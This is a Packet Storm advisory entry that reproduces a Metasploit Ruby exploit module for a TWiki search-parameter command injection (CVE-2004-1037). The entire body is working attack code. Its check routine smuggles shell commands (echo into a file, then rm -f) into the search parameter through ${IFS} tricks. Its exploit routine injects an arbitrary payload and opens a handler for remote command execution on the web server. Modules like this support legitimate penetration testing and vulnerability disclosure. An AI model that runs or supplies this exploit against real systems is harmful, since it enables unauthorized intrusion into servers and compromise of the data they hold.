TWiki Search Function Arbitrary Command Execution

2010-02-23T00:00:00
ID PACKETSTORM:86541
Type packetstorm
Reporter metasploit.com
Modified 2010-02-23T00:00:00

Description

                                        
                                            `##  
# $Id: twiki_search.rb 8578 2010-02-21 20:31:09Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TWiki Search Function Arbitrary Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the search component of TWiki.  
By passing a 'search' parameter containing shell metacharacters to the   
'WebSearch' script, an attacker can execute arbitrary OS commands.  
},  
'Author' =>  
[  
# Unknown - original discovery  
'jduck' # metasploit version  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8578 $',  
'References' =>  
[  
[ 'CVE', '2004-1037' ],  
[ 'OSVDB', '11714' ],  
[ 'BID', '11674' ],  
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ]  
],  
'Privileged' => true, # web server context  
'Payload' =>  
{  
'DisableNops' => true,  
'BadChars' => ' ',  
'Space' => 1024,  
},  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Oct 01 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),  
], self.class)  
end  
  
  
def check  
content = rand_text_alphanumeric(16+rand(16))  
test_file = rand_text_alphanumeric(8+rand(8))  
cmd_base = datastore['URI'] + '/view/Main/WebSearch?search='  
test_url = datastore['URI'] + '/view/Main/' + test_file  
  
# first see if it already exists (it really shouldn't)  
res = send_request_raw({  
'uri' => test_url  
}, 25)  
if (not res) or (res.body.match(content))  
print_error("WARNING: The test file exists already!")  
return Exploit::CheckCode::Safe  
end  
  
# try to create it  
print_status("Attempting to create #{test_url} ...")  
search = rand_text_numeric(1+rand(5)) + "\';echo${IFS}" + content + "${IFS}>" + test_file + ".txt;#\'"  
res = send_request_raw({  
'uri' => cmd_base + Rex::Text.uri_encode(search)  
}, 25)  
if (not res) or (res.code != 200)  
return Exploit::CheckCode::Safe  
end  
  
# try to run it, 500 code == successfully made it  
res = send_request_raw({  
'uri' => test_url  
}, 25)  
if (not res) or (not res.body.match(content))  
return Exploit::CheckCode::Safe  
end  
  
# delete the tmp file  
print_status("Attempting to delete #{test_url} ...")  
search = rand_text_numeric(1+rand(5)) + "\';rm${IFS}-f${IFS}" + test_file + ".txt;#\'"  
res = send_request_raw({  
'uri' => cmd_base + Rex::Text.uri_encode(search)  
}, 25)  
if (not res) or (res.code != 200)  
print_error("WARNING: unable to remove test file (#{test_file})")  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
  
def exploit  
  
search = rand_text_alphanumeric(1+rand(8))  
search << "';" + payload.encoded + ";#\'"  
  
query_str = datastore['URI'] + '/view/Main/WebSearch'  
query_str << '?search='  
query_str << Rex::Text.uri_encode(search)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => query_str,  
}, 25)  
  
if (res and res.code == 200)  
print_status("Successfully sent exploit request")  
else  
raise RuntimeError, "Error sending exploit request"  
end  
  
handler  
end  
  
end  
`